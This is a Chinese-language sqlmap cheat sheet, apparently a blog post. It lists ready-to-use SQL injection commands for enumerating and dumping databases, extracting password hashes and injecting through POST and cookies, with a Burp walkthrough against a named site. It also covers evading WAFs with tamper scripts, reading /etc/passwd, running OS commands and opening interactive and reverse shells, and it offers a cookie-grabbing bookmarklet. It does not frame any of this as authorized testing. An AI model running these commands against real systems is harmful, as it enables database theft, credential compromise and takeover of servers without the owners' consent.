sqlmap用法精簡版

基礎用法:

一下./sqlmap.py 在kali和backtrack中使用sqlmap的時候,直接用:sqlmap

./sqlmap.py -u “注入地址” -v 1 –dbs   // 列舉數據庫
./sqlmap.py -u “注入地址” -v 1 –current-db   // 當前數據庫
./sqlmap.py -u “注入地址” -v 1 –users    // 列數據庫用戶
./sqlmap.py -u “注入地址” -v 1 –current-user  // 當前用戶
./sqlmap.py -u “注入地址” -v 1 –tables -D “數據庫”   // 列舉數據庫的表名
./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “數據庫”   // 獲取表的列名
./sqlmap.py -u “注入地址” -v 1 –dump -C “字段,字段” -T “表名” -D “數據庫”   // 獲取表中的數據,包含列

已經開始拖庫了,SQLMAP是非常人性化的,它會將獲取的數據存儲sqlmap/output/中

sqlmap post注入

我們在使用Sqlmap進行post型注入時, 經常會出現請求遺漏導致注入失敗的情況。 這裏分享一個小技巧,即結合burpsuite來使用sqlmap, 用這種方法進行post注入測試會更準確,操作起來也非常容易。  

  1. 瀏覽器打開目標地址http:// www.2cto.com /Login.asp
  2. 配置burp代理(127.0.0.1:8080)以攔截請求
  3. 點擊login表單的submit按鈕
  4. 這時候Burp會攔截到了我們的登錄POST請求
  5. 把這個post請求複製爲txt, 我這命名爲search-test.txt 然後把它放至sqlmap目錄下
  6. 運行sqlmap並使用如下命令: ./sqlmap.py -r search-test.txt -p tfUPass

這裏參數-r 是讓sqlmap加載我們的post請求rsearch-test.txt, 而-p 大家應該比較熟悉,指定注入用的參數。

sqlmap cookies注入
sqlmap.py -u “http://127.0.0.1/base.php” –cookies “id=1″  –dbs –level 2

默認情況下SQLMAP只支持GET/POST參數的注入測試,但是當使用–level 參數且數值>=2的時候也會檢查cookie時面的參數,當>=3的時候將檢查User-agent和Referer,那麼這就很簡單了,我 們直接在原有的基礎上面加上 –level 2 即可

利用sqlmap cookies注入突破用戶登錄繼續注入 先把用戶登陸的cookie拿到吧, 在收藏夾添加一個鏈接cookies屬性: 名字自己取 javascript:alert(document.cookie),,需要獲取當前cookie的時候, 直接點一下這個鏈接,然後複製一下彈出對話框 裏的cookie值就搞定了

sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”

-p是指指定參數注入

sqlmap遇到url重寫的注入

哪裏存在注入就加上 * 號

./sqlmap.py -u "http://www.cunlide.com/id1/1*/id2/2"
sqlmap 編碼繞waf注入
./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”

在sqlmap 的 tamper目錄下有很多space2morehash.py 編碼腳本自行加載

其他基礎:

sqlmap -u "http://url/news?id=1" –level=3 –smart –dbms "Mysql" –current-user #獲取當前用戶名稱
sqlmap -u "http://www.xxoo.com/news?id=1" –level=3 –smart –dbms "Mysql" –current-db  #獲取當前數據庫名稱
sqlmap -u "http://www.xxoo.com/news?id=1" –level=3 –smart –dbms "Mysql"–tables  -D "db_name" #列表名
sqlmap -u "http://url/news?id=1" –level=3 –smart  –dbms "Mysql" –columns -T "tablename" users-D "db_name" -v 0 #列字段
sqlmap -u "http://url/news?id=1" –level=3 –smart –dbms "Mysql"  –dump  -C "column_name"  -T "table_name" -D "db_name" -v 0   #

獲取字段內容 信息獲取

sqlmap -u "" –smart –dbms "Mysql" –users  #列數據庫用戶  
sqlmap -u "" –smart –dbms "Mysql" –dbs#列數據庫
sqlmap -u "" –smart –dbms "Mysql" –passwords #數據庫用戶密碼
sqlmap -u "" –smart –dbms "Mysql" –passwords-U root  -v 0 #列出指定用戶數據庫密碼
sqlmap -u "" –smart –dbms "Mysql" –dump-all -v 0 #列出所有數據庫所有表
sqlmap -u "" –smart –dbms "Mysql" –privileges #查看權限
sqlmap -u "" –smart –dbms "Mysql" –privileges -U root #查看指定用戶權限
sqlmap -u "" –smart –dbms "Mysql" –is-dba -v 1 #是否是數據庫管理員
sqlmap -u "" –smart –dbms "Mysql" –roles #枚舉數據庫用戶角色
sqlmap -u "" –smart –dbms "Mysql" –udf-inject #導入用戶自定義函數(獲取系統權限!)
sqlmap -u "" –smart –dbms "Mysql" –dump-all –exclude-sysdbs -v 0 #列出當前庫所有表
sqlmap -u "" –smart –dbms "Mysql" –union-check #是否支持union 注入
sqlmap -u "" –smart –dbms "Mysql" –union-cols #union 查詢表記錄
sqlmap -u "" –smart –dbms "Mysql" –union-test #union 語句測試
sqlmap -u "" –smart –dbms "Mysql" –union-use –banner #採用union 注入
sqlmap -u "" –smart –dbms "Mysql" –union-test –union-tech orderby #union 配合 order by
sqlmap -u "" –smart –dbms "Mysql" –method "POST" — data "id=1&cat=2″ #post注入
sqlmap -u "" –smart –dbms "Mysql" –cookie "COOKIE_VALUE" #cookie注入
sqlmap -u "" –smart –dbms "Mysql" -b #獲取banner信息 
sqlmap -u "http://url/news?id=1" –level=3 –smart-v 1 -f #指紋判別數據庫類型
sqlmap -u "http://url/news?id=1" –level=3 –smart–proxy "http://127.0.0.1:8118" #代理注入
sqlmap -u "http://url/news?id=1" –string"STRING_ON_TRUE_PAGE“  #指定關鍵詞
sqlmap -u "" –smart –dbms "Mysql" –sql-shell #執行指定sql命令
sqlmap -u "" –smart –dbms "Mysql" –file /etc/passwd
sqlmap -u "" –smart –dbms "Mysql" –os-cmd=whoami #執行系統命令
sqlmap -u "" –smart –dbms "Mysql" –os-shell #系統交互shell
sqlmap -u "" –smart –dbms "Mysql" –os-pwn #反彈shell
sqlmap -u "" –smart –dbms "Mysql" –reg-read #讀取win系統註冊表
sqlmap -u "" –smart –dbms "Mysql" –dbs-o "sqlmap.log" #保存進度
sqlmap -u "" –smart –dbms "Mysql" –dbs  -o "sqlmap.log" –resume  #恢復已保存進度 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章